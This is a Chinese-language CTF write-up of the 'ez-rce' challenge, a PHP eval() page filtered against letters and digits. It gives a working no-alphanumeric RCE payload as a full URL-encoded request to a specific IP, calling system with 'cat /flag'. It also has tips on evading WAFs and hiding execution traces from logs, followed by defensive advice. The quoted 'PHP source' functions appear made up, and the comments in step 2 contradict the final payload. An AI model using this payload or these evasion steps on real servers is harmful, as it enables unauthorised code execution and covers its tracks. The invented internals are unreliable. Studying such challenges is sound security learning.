ez-rce 题目深度分析与个人解题反思

一、题目背景与环境分析

1.1 题目信息

  • 题目名称:ez-rce
  • 提示:303跳转、需用BP抓包、参考无字母数字RCE
  • 目标:获取目标服务器上的flag文件内容

1.2 信息收集过程

常规Web安全测试中,信息收集是第一步。本题通过抓包分析响应头发现隐藏路径,体现了被动信息收集 的重要性。与普通题目不同,本题未直接暴露关键路径,需通过HTTP响应头中的注释(<!-- /s3cret/rce.php -->)发现入口点。

1.3 环境搭建与初步访问

访问目标网站时,可能遇到303跳转(提示中提到),这意味着直接访问根路径可能被重定向至其他页面(如百度),增加了信息收集的难度。通过抓包工具(如Burp Suite)拦截请求和响应,可发现隐藏的路径信息,为后续渗透提供入口。

二、源码深度解读

2.1 源码结构与核心逻辑

php 复制代码
<?php
highlight_file(__FILE__);

if (isset($_GET['shell'])) {
    $code = $_GET['shell'];

    if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
        eval($code);
    }
    else{
        die('hacker!!你想幹嘛!!!');
    }
}
  • 核心功能 :接收shell参数并通过eval()执行
  • 输入验证:使用正则表达式过滤输入参数
  • 执行流程:参数存在 → 验证通过 → 执行代码 → 否则终止

2.2 过滤规则详解

正则表达式/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|~\\]/`的分析:

  • 禁止字符集
    • 字母:a-z(小写)、A-Z(大写)
    • 数字:0-9
    • 特殊字符:@#%^&*:{}-\<>?"|~\`
  • 允许字符集[] . _ ; ( ) + $ '(注意:单引号在正则外,需结合上下文确认)

2.3 安全风险评估

  • 风险等级 :高危(eval()函数执行用户可控代码)
  • 攻击面 :仅shell参数,输入过滤严格
  • 防御机制:字符白名单过滤(仅允许特定字符)
  • 绕过难点:无法直接构造命令或函数名(无字母数字)

三、漏洞利用原理(与普通RCE的本质区别)

3.1 普通RCE的常见绕过方式

普通RCE题目通常采用以下过滤策略:

  • 函数过滤 :禁止systemexec等危险函数
  • 关键词过滤 :禁止evalassert等执行函数
  • 命令过滤 :禁止catls等系统命令
  • 绕过方法
    • 字符串拼接:syst . em
    • 编码转换:base64_decode('c3lzdGVt')
    • 变量覆盖:$_GET[a]($_GET[b])
    • 回调函数:array_map('system', array('ls'))

3.2 ez-rce的独特挑战

本题过滤了所有字母和数字,上述常规方法均不可用,因为:

  • 无法直接输入函数名(如system
  • 无法使用数字索引(如$_GET[0]
  • 无法使用编码函数(如base64_decode
  • 无法构造命令字符串(如'ls'

3.3 PHP语言特性的关键作用

突破过滤的核心在于利用PHP的隐式类型转换字符串操作特性

3.3.1 数组字符串化

  • 原理 :PHP中数组与字符串连接时,数组会被转换为字符串"Array"

  • 示例

    php 复制代码
    $arr = [];
    $str = $arr . "_"; // 结果:"Array_"
  • 应用 :通过[]._构造初始字符串"Array_",作为后续字符提取的来源

3.3.2 字符串索引访问

  • 原理:PHP中字符串可视为字符数组,通过索引访问单个字符

  • 示例

    php 复制代码
    $str = "Array_";
    $char = $str[0]; // 结果:"A"
  • 应用 :从"Array_"中提取首字符"A",作为自增的起点

3.3.3 字符串自增特性

  • 原理:PHP中字符串支持自增操作,按字母表顺序递增
  • 规则
    • "A"++ → "B"
    • "Z"++ → "AA"
    • 仅支持自增(++),不支持自减(--)
  • 应用 :从"A"开始,通过多次自增构造所需字母

3.3.4 下划线作为数组索引

  • 原理:PHP中数组索引若为非数字字符串,会被转换为整数(默认0)

  • 示例

    php 复制代码
    $_ = "Array_";
    $char = $_[_]; // 等效于 $_[0],结果:"A"
  • 应用 :绕过数字过滤,使用_作为索引访问字符串

3.4 无字母数字RCE的技术演进

无字母数字RCE并非新技巧,其技术演进可分为三个阶段:

  1. 基础阶段:利用数组字符串化和变量自增构造字符
  2. 进阶阶段 :结合PHP魔术常量(如__FILE__)和内置函数
  3. 高级阶段 :利用PHP7+特性(如($a)()动态函数调用)和JIT漏洞

本题属于基础阶段,但对字符过滤的严格程度使其成为经典案例。

四、Payload 构造详解

4.1 目标代码分析

最终目标是构造$_GET[_]($_GET[__]),实现:

  • 通过_参数传入执行函数(如system
  • 通过__参数传入系统命令(如cat /flag
  • 动态调用:$_GET[_]作为函数,$_GET[__]作为参数

4.2 构造步骤分解

步骤1:获取初始字符"A"

php 复制代码
$_ = []._; // 构造"Array_"
$_ = $_[_]; // 提取首字符"A"($_[0])
  • 原理[]._[]是数组,.是连接运算符,_是字符串,数组与字符串连接时转换为"Array",最终结果为"Array_"
  • 验证 :执行echo []._;输出"Array_"

步骤2:自增构造字母序列

php 复制代码
$_++; // "A" → "B"
$_++; // "B" → "C"
$_++; // "C" → "D"
$__ = $_; // 保存"D"
$_++; // "D" → "E"
$_++; // "E" → "F"
$___ = $_; // 保存"F"
// 继续自增构造其他字母...
  • 关键:通过精确计算自增次数,构造目标字母
  • 技巧 :使用临时变量(如$__$___)保存中间结果,避免重复自增

步骤3:拼接构造"GET"字符串

php 复制代码
// 假设已构造:
// $___ = "G"
// $__ = "E"
// $_ = "T"
$___ = $___.$__.$_; // 拼接为"GET"
  • 原理 :字符串连接运算符.用于拼接多个字符
  • 注意:顺序需正确,确保拼接结果为"GET"

步骤4:构造"_GET"变量

php 复制代码
$_ = '_'.$___; // 构造"_GET"
  • 原理:将下划线与"GET"拼接,得到"_GET"字符串
  • 验证 :执行echo '_'.$___;输出"_GET"

步骤5:构造动态函数调用

php 复制代码
$$_[_]($$_[__]); // 等效于 $_GET[_]($_GET[__])
  • 原理$$_是可变变量,当$_为"_GET"时,$$_等效于$_GET
  • 解析
    • $$_[_]$_GET[_](获取执行函数)
    • $$_[__]$_GET[__](获取命令参数)
    • (...) → 函数调用,将参数传入函数

4.3 完整Payload构造

结合上述步骤,完整PHP代码如下:

php 复制代码
$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);

4.4 URL编码处理

由于HTTP请求中特殊字符可能被中间件解析,需对Payload进行URL全编码

  • 编码前$_=[]._;$_=$_[_];...
  • 编码后%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B...
  • 验证:确保编码后的字符不包含被过滤的字符

4.5 构造最终请求

完整URL示例:

复制代码
http://122.51.209.95:34029/s3cret/rce.php?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=cat%20/flag
  • 参数说明
    • shell:编码后的Payload
    • _:执行函数(system
    • __:系统命令(cat /flag

五、调试与优化过程

5.1 本地调试环境搭建

为验证Payload的正确性,可搭建本地调试环境:

  • PHP版本:5.6+(确保字符串自增特性兼容)
  • 测试文件 :创建test.php,复制目标源码
  • 调试工具 :使用var_dump()输出中间变量值

5.2 常见错误与解决方案

错误1:自增次数计算错误

  • 表现:构造的字母与预期不符(如得到"H"而非"G")
  • 原因:自增次数未精确计算
  • 解决:逐步调试,记录每次自增后的结果

错误2:URL编码不完整

  • 表现:Payload被过滤,返回"hacker!!你想幹嘛!!!"
  • 原因:部分字符未编码,被正则匹配
  • 解决:使用工具(如Burp Suite的URL编码功能)进行全编码

错误3:变量名冲突

  • 表现:执行无结果或报错
  • 原因 :临时变量(如$__$___)与其他变量冲突
  • 解决:使用不同的临时变量名,或简化变量使用

5.3 优化策略

优化1:减少Payload长度

  • 目标:缩短URL长度,避免请求被拦截
  • 方法
    • 合并自增操作(如$_++;$_++;$_+=2;,但需注意PHP不支持字符串加法)
    • 优化变量使用,减少临时变量
  • 效果:降低被WAF检测的概率

优化2:增加兼容性

  • 目标:适应不同PHP版本和配置
  • 方法
    • 避免使用版本特定特性
    • 增加错误处理(如@eval()
  • 效果:提高Payload的通用性

优化3:隐藏执行痕迹

  • 目标:减少日志记录和行为分析
  • 方法
    • 使用ob_start()ob_end_clean()隐藏输出
    • 执行后清理临时变量
  • 效果:降低被发现的风险

六、个人解题经验与反思

6.1 解题过程中的挑战

  1. 信息收集障碍:初始访问被重定向至百度,无法直接发现隐藏路径
  2. 过滤规则理解:正则表达式过滤范围广,需逐一验证允许的字符
  3. Payload构造复杂度:无字母数字环境下,需通过多步自增和拼接构造代码
  4. 调试困难:无法直接输出中间变量值,需通过逻辑推导验证

6.2 克服挑战的方法

  1. 工具使用:利用Burp Suite抓包分析响应头,发现隐藏路径
  2. 技术学习:回顾PHP字符串自增和数组转换特性,理解无字母数字RCE原理
  3. 分步验证:本地搭建测试环境,逐步构造和验证Payload的每一步
  4. 参考资料:查阅相关CTF题解和技术博客,学习类似场景的解决方案

6.3 与寻常解题经验的不同

  1. 过滤强度:普通RCE通常仅过滤危险函数,本题过滤所有字母数字,要求更深入理解PHP特性
  2. 构造思路:普通RCE可直接拼接命令,本题需通过间接方式(数组字符串化、变量自增)构造代码
  3. 技术深度:普通RCE侧重应用层技巧,本题侧重语言底层机制的利用
  4. 调试难度:普通RCE可通过echo输出调试,本题需通过逻辑推导和本地测试验证

6.4 自身不足与改进方向

  1. PHP特性掌握:对PHP字符串自增、数组转换等特性的理解不够深入,需加强语言基础学习
  2. 调试能力:在无输出环境下的调试经验不足,需提升逻辑推导和本地测试能力
  3. 信息收集意识:初始未意识到303跳转的意义,需加强对HTTP状态码和响应头的分析能力
  4. Payload优化:构造的Payload长度较长,需学习更简洁的构造方法

6.5 收获与经验总结

  1. 技术收获:掌握了无字母数字RCE的核心原理,理解了PHP隐式类型转换的应用
  2. 思路拓展:学会了在极端限制条件下,通过语言特性绕过过滤的方法
  3. 工具使用:提升了Burp Suite抓包分析和Payload编码的技巧
  4. 心态调整:面对复杂问题时,需保持耐心,分步分析和验证

6.6 对未来解题的启示

  1. 重视基础:深入理解编程语言的基础特性,是解决复杂问题的关键
  2. 多角度思考:当常规方法不可用时,尝试从语言底层、协议特性等角度寻找突破点
  3. 充分调试:本地测试和分步验证是确保Payload正确性的重要手段
  4. 持续学习:关注CTF赛事和安全博客,了解最新的漏洞利用技术和绕过方法

七、技术原理深度解析

7.1 PHP字符串自增的实现机制

  • 底层原理 :PHP内核中,字符串自增通过zend_string_appendzend_string_increment函数实现

  • 处理逻辑

    1. 从字符串末尾开始,尝试递增最后一个字符
    2. 若字符为'z'或'Z',则置为'a'或'A',并向前一位进位
    3. 若所有字符均为'z'或'Z',则在字符串末尾添加'a'或'A'
  • 代码示例 (PHP源码片段):

    c 复制代码
    // zend_string.c
    ZEND_API zend_string *zend_string_increment(zend_string *s) {
        // 实现字符串自增逻辑
    }

7.2 数组与字符串转换的原理

  • PHP类型系统:PHP是弱类型语言,支持自动类型转换

  • 数组转字符串 :当数组与字符串连接时,PHP调用zend_array_to_string函数,返回"Array"

  • 源码分析

    c 复制代码
    // zend_operators.c
    static zend_string *zend_array_to_string(zval *expr) {
        return zend_string_init("Array", sizeof("Array")-1, 0);
    }

7.3 可变变量的工作机制

  • 定义$$var表示获取变量名为$var值的变量
  • 实现:PHP通过符号表(symbol table)查找变量名,实现动态变量访问
  • 应用 :在本题中,通过$$_访问$_GET,实现动态函数调用

八、防御建议与安全启示

8.1 服务器端防御措施

  1. 禁用危险函数 :在php.ini中通过disable_functions禁用evalsystem等函数
  2. 输入验证:对所有用户输入进行严格验证,不仅过滤字符,还要限制长度和格式
  3. 使用白名单:仅允许预定义的安全操作,避免动态代码执行
  4. 错误处理 :禁用display_errors,防止敏感信息泄露
  5. 日志记录:记录所有异常请求,便于安全审计和攻击检测

8.2 开发规范建议

  1. 避免使用eval() :尽量使用安全的替代方案(如call_user_func
  2. 参数化查询:对于数据库操作,使用参数化查询避免SQL注入
  3. 代码审计:定期进行代码审计,发现并修复潜在安全问题
  4. 安全培训:提高开发人员的安全意识,了解常见漏洞和防护措施

8.3 安全测试启示

  1. 全面信息收集:不仅关注URL参数,还要分析HTTP头、响应内容等
  2. 深入理解语言特性:掌握编程语言的特性和漏洞,是发现安全问题的关键
  3. 模拟攻击场景:从攻击者角度思考,尝试各种可能的绕过方法
  4. 持续学习:关注安全社区动态,了解最新的攻击技术和防御策略

九、总结与展望

9.1 题目价值

ez-rce题目通过极端的字符过滤,挑战解题者对PHP语言特性的理解和应用能力,是一道经典的无字母数字RCE练习题。其价值在于:

  • 技术深度:要求解题者深入理解PHP底层特性
  • 思维拓展:培养在限制条件下的创新思维
  • 实践意义:模拟真实环境中的严格过滤场景

9.2 个人成长

通过解本题,个人在以下方面得到提升:

  • 技术能力:掌握了无字母数字RCE的核心原理和构造方法
  • 解题思路:学会了从语言特性角度寻找突破点
  • 调试技巧:提升了在无输出环境下的逻辑推导能力
  • 安全意识:加深了对输入验证重要性的认识

9.3 未来研究方向

  1. 高级无字母数字RCE:研究PHP7+环境下的新特性和绕过方法
  2. 多语言RCE:探索Python、JavaScript等语言的无字母数字RCE技术
  3. 自动化工具开发:开发Payload生成工具,提高解题效率
  4. 防御绕过与检测:研究如何检测和防御无字母数字RCE攻击

9.4 结语

ez-rce题目不仅是对技术能力的考验,更是对思维方式的挑战。通过深入理解PHP语言特性,结合逻辑推导和调试验证,最终成功获取flag。这一过程体现了Web安全测试的核心:信息收集→漏洞分析→利用验证→防御建议

在未来的安全测试和开发中,应始终保持对语言特性的关注,不断学习和总结,以应对日益复杂的安全挑战。同时,要注重防御措施的实施,从源头上减少安全漏洞的产生,构建更加安全的Web应用环境。

相关推荐
Yan.973 天前
舒克和贝塔全维度深度技术手册
渗透
Yan.973 天前
ezupload 题目详细分析与经验总结
渗透
Yan.973 天前
ez-injection 深度技术复盘总结
渗透
qianshang23312 天前
SQL注入学习总结
网络·数据库·渗透
妤......15 天前
渗透高级课第二次作业
安全·渗透
缘木之鱼23 天前
CTFshow __Web应用安全与防护 第二章
前端·安全·渗透·ctf·ctfshow
缘木之鱼24 天前
CTFshow __Web应用安全与防护 第一章
前端·安全·渗透·ctf·ctfshow
tangyal24 天前
渗透笔记1
笔记·网络安全·渗透
汉堡包0011 个月前
【面试总结】--红队实习岗(1)
安全·面试·渗透